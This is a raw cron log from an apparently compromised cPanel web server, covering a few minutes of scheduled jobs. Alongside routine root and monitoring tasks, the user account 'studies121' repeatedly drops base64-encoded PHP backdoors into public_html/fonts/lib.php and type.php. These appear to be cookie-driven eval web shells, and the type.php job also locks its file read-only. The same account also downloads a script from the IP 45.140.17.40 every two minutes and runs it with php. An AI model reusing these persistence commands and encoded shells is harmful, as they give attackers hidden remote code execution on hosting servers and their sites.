Sep  4 00:19:01 ip-184-168-122-23 CROND[21060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:19:01 ip-184-168-122-23 CROND[21061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:19:01 ip-184-168-122-23 CROND[21058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21144]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:20:01 ip-184-168-122-23 CROND[21153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:20:01 ip-184-168-122-23 CROND[21158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:21:01 ip-184-168-122-23 CROND[21343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:21:01 ip-184-168-122-23 CROND[21342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:21:01 ip-184-168-122-23 CROND[21344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:21:01 ip-184-168-122-23 CROND[21345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:22:01 ip-184-168-122-23 CROND[21448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:22:01 ip-184-168-122-23 CROND[21452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:22:01 ip-184-168-122-23 CROND[21450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:22:01 ip-184-168-122-23 CROND[21451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:22:01 ip-184-168-122-23 CROND[21453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:23:01 ip-184-168-122-23 CROND[21530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:23:01 ip-184-168-122-23 CROND[21532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:23:01 ip-184-168-122-23 CROND[21534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:23:01 ip-184-168-122-23 CROND[21533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:24:01 ip-184-168-122-23 CROND[21609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:24:01 ip-184-168-122-23 CROND[21613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:24:01 ip-184-168-122-23 CROND[21611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:24:01 ip-184-168-122-23 CROND[21614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:24:01 ip-184-168-122-23 CROND[21612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21704]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:25:01 ip-184-168-122-23 CROND[21711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:26:01 ip-184-168-122-23 CROND[21827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:26:01 ip-184-168-122-23 CROND[21830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:26:01 ip-184-168-122-23 CROND[21833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:26:01 ip-184-168-122-23 CROND[21831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:26:01 ip-184-168-122-23 CROND[21832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:27:01 ip-184-168-122-23 CROND[22041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:27:01 ip-184-168-122-23 CROND[22043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:27:01 ip-184-168-122-23 CROND[22042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:27:01 ip-184-168-122-23 CROND[22044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:28:01 ip-184-168-122-23 CROND[22133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:28:01 ip-184-168-122-23 CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:28:01 ip-184-168-122-23 CROND[22136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:28:01 ip-184-168-122-23 CROND[22137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:28:01 ip-184-168-122-23 CROND[22139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:29:01 ip-184-168-122-23 CROND[22220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:29:01 ip-184-168-122-23 CROND[22221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:29:01 ip-184-168-122-23 CROND[22223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:29:01 ip-184-168-122-23 CROND[22224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:30:01 ip-184-168-122-23 CROND[22371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:30:01 ip-184-168-122-23 CROND[22379]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:30:01 ip-184-168-122-23 CROND[22384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
